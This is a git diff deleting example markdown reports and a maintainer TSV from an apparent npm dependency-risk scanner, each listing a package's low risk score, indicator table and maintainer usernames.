HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | Multiple | - -### Maintainers - -- `zak-anthropic ` -- `benjmann ` -- `nikhil-anthropic ` -- `ejlangev-ant ` -- `jv-anthropic ` -- `sbidasaria ` -- `wolffiex ` -- `igorkofman ` -- `felixrieseberg-anthropic ` -- `joan-anthropic ` - diff --git a/good-report-example/global-@img_sharp-darwin-x64.md b/good-report-example/global-@img_sharp-darwin-x64.md deleted file mode 100644 index 724ee83..0000000 --- a/good-report-example/global-@img_sharp-darwin-x64.md +++ /dev/null @@ -1,19 +0,0 @@ -## @img/sharp-darwin-x64 - -- **Scanned:** 2025-11-03 01:07:41 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `lovell ` - diff --git a/good-report-example/global-@img_sharp-libvips-darwin-x64.md b/good-report-example/global-@img_sharp-libvips-darwin-x64.md deleted file mode 100644 index 414a8c7..0000000 --- a/good-report-example/global-@img_sharp-libvips-darwin-x64.md +++ /dev/null @@ -1,19 +0,0 @@ -## @img/sharp-libvips-darwin-x64 - -- **Scanned:** 2025-11-03 01:07:41 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `lovell ` - diff --git a/good-report-example/global-@pkgjs_parseargs.md b/good-report-example/global-@pkgjs_parseargs.md deleted file mode 100644 index 4f2af50..0000000 --- a/good-report-example/global-@pkgjs_parseargs.md +++ /dev/null @@ -1,19 +0,0 @@ -## @pkgjs/parseargs - -- **Scanned:** 2025-11-03 01:07:45 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `oss-bot ` - diff --git a/good-report-example/global-@tootallnate_once.md b/good-report-example/global-@tootallnate_once.md deleted file mode 100644 index 3e87f93..0000000 --- a/good-report-example/global-@tootallnate_once.md +++ /dev/null @@ -1,19 +0,0 @@ -## @tootallnate/once - -- **Scanned:** 2025-11-03 01:07:47 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `tootallnate ` - diff --git a/good-report-example/global-@types_estree.md b/good-report-example/global-@types_estree.md deleted file mode 100644 index 815ddc2..0000000 --- a/good-report-example/global-@types_estree.md +++ /dev/null @@ -1,19 +0,0 @@ -## @types/estree - -- **Scanned:** 2025-11-03 01:07:46 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `types ` - diff --git a/good-report-example/global-@types_json-schema.md b/good-report-example/global-@types_json-schema.md deleted file mode 100644 index 533924c..0000000 --- a/good-report-example/global-@types_json-schema.md +++ /dev/null @@ -1,19 +0,0 @@ -## @types/json-schema - -- **Scanned:** 2025-11-03 01:07:46 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `types ` - diff --git a/good-report-example/global-@types_node.md b/good-report-example/global-@types_node.md deleted file mode 100644 index e97b96d..0000000 --- a/good-report-example/global-@types_node.md +++ /dev/null @@ -1,19 +0,0 @@ -## @types/node - -- **Scanned:** 2025-11-03 01:07:46 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `types ` - diff --git a/good-report-example/global-fd-slicer.md b/good-report-example/global-fd-slicer.md deleted file mode 100644 index b18f121..0000000 --- a/good-report-example/global-fd-slicer.md +++ /dev/null @@ -1,20 +0,0 @@ -## fd-slicer - -- **Scanned:** 2025-11-03 01:07:44 GMT -- **Status:** Risk 0/100 (None) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | Multiple | - -### Maintainers - -- `superjoe ` -- `thejoshwolfe ` - diff --git a/good-report-example/global-json-schema-to-ts.md b/good-report-example/global-json-schema-to-ts.md deleted file mode 100644 index 6baa2a0..0000000 --- a/good-report-example/global-json-schema-to-ts.md +++ /dev/null @@ -1,19 +0,0 @@ -## json-schema-to-ts - -- **Scanned:** 2025-11-03 01:07:44 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `thomasaribart ` - diff --git a/good-report-example/global-micro.md b/good-report-example/global-micro.md deleted file mode 100644 index b840ef8..0000000 --- a/good-report-example/global-micro.md +++ /dev/null @@ -1,19 +0,0 @@ -## micro - -- **Scanned:** 2025-11-03 01:07:47 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `leerobinson ` - diff --git a/good-report-example/global-node-gyp-build.md b/good-report-example/global-node-gyp-build.md deleted file mode 100644 index 4cbe5fe..0000000 --- a/good-report-example/global-node-gyp-build.md +++ /dev/null @@ -1,20 +0,0 @@ -## node-gyp-build - -- **Scanned:** 2025-11-03 01:07:45 GMT -- **Status:** Risk 0/100 (None) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | Multiple | - -### Maintainers - -- `vweevers ` -- `mafintosh ` - diff --git a/good-report-example/global-pend.md b/good-report-example/global-pend.md deleted file mode 100644 index baf1993..0000000 --- a/good-report-example/global-pend.md +++ /dev/null @@ -1,19 +0,0 @@ -## pend - -- **Scanned:** 2025-11-03 01:07:44 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `superjoe ` - diff --git a/good-report-example/global-queue-microtask.md b/good-report-example/global-queue-microtask.md deleted file mode 100644 index 6d536ce..0000000 --- a/good-report-example/global-queue-microtask.md +++ /dev/null @@ -1,19 +0,0 @@ -## queue-microtask - -- **Scanned:** 2025-11-03 01:07:43 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `feross ` - diff --git a/good-report-example/global-reusify.md b/good-report-example/global-reusify.md deleted file mode 100644 index 395baa9..0000000 --- a/good-report-example/global-reusify.md +++ /dev/null @@ -1,19 +0,0 @@ -## reusify - -- **Scanned:** 2025-11-03 01:07:45 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `matteo.collina ` - diff --git a/good-report-example/global-shebang-regex.md b/good-report-example/global-shebang-regex.md deleted file mode 100644 index f88434d..0000000 --- a/good-report-example/global-shebang-regex.md +++ /dev/null @@ -1,19 +0,0 @@ -## shebang-regex - -- **Scanned:** 2025-11-03 01:07:47 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `sindresorhus ` - diff --git a/good-report-example/global-ts-morph.md b/good-report-example/global-ts-morph.md deleted file mode 100644 index 963d79c..0000000 --- a/good-report-example/global-ts-morph.md +++ /dev/null @@ -1,19 +0,0 @@ -## ts-morph - -- **Scanned:** 2025-11-03 01:07:45 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `dsherret ` - diff --git a/good-report-example/global-v8-compile-cache-lib.md b/good-report-example/global-v8-compile-cache-lib.md deleted file mode 100644 index 060fab2..0000000 --- a/good-report-example/global-v8-compile-cache-lib.md +++ /dev/null @@ -1,19 +0,0 @@ -## v8-compile-cache-lib - -- **Scanned:** 2025-11-03 01:07:47 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `cspotcode ` - diff --git a/good-report-example/global-yauzl-promise.md b/good-report-example/global-yauzl-promise.md deleted file mode 100644 index d2ccef9..0000000 --- a/good-report-example/global-yauzl-promise.md +++ /dev/null @@ -1,19 +0,0 @@ -## yauzl-promise - -- **Scanned:** 2025-11-03 01:07:46 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `overlookmotel ` - diff --git a/good-report-example/global-zod.md b/good-report-example/global-zod.md deleted file mode 100644 index 46ca4ee..0000000 --- a/good-report-example/global-zod.md +++ /dev/null @@ -1,19 +0,0 @@ -## zod - -- **Scanned:** 2025-11-03 01:07:44 GMT -- **Status:** Risk 10/100 (Low) - -### Findings - -| Indicator | Result | -|----------|--------| -| HTTP URL dependencies | None | -| Lifecycle scripts | None | -| Recently created | No | -| Fetch warnings | No | -| Maintainers | ⚠️ Solo | - -### Maintainers - -- `colinhacks ` - diff --git a/good-report-example/maintainer-data.tsv b/good-report-example/maintainer-data.tsv deleted file mode 100644 index fc22559..0000000 --- a/good-report-example/maintainer-data.tsv +++ /dev/null @@ -1,20 +0,0 @@ -MAINTAINER_DATA|@img/sharp-darwin-x64|1|lovell -MAINTAINER_DATA|@img/sharp-libvips-darwin-x64|1|lovell -MAINTAINER_DATA|@anthropic-ai/claude-code|10|zak-anthropic |benjmann |nikhil-anthropic |ejlangev-ant |jv-anthropic |sbidasaria |wolffiex |igorkofman |felixrieseberg-anthropic |joan-anthropic -MAINTAINER_DATA|queue-microtask|1|feross -MAINTAINER_DATA|pend|1|superjoe -MAINTAINER_DATA|fd-slicer|2|superjoe |thejoshwolfe -MAINTAINER_DATA|json-schema-to-ts|1|thomasaribart -MAINTAINER_DATA|zod|1|colinhacks -MAINTAINER_DATA|ts-morph|1|dsherret -MAINTAINER_DATA|reusify|1|matteo.collina -MAINTAINER_DATA|node-gyp-build|2|vweevers |mafintosh -MAINTAINER_DATA|@pkgjs/parseargs|1|oss-bot -MAINTAINER_DATA|yauzl-promise|1|overlookmotel -MAINTAINER_DATA|@types/estree|1|types -MAINTAINER_DATA|@types/node|1|types -MAINTAINER_DATA|@types/json-schema|1|types -MAINTAINER_DATA|shebang-regex|1|sindresorhus -MAINTAINER_DATA|v8-compile-cache-lib|1|cspotcode -MAINTAINER_DATA|micro|1|leerobinson -MAINTAINER_DATA|@tootallnate/once|1|tootallnate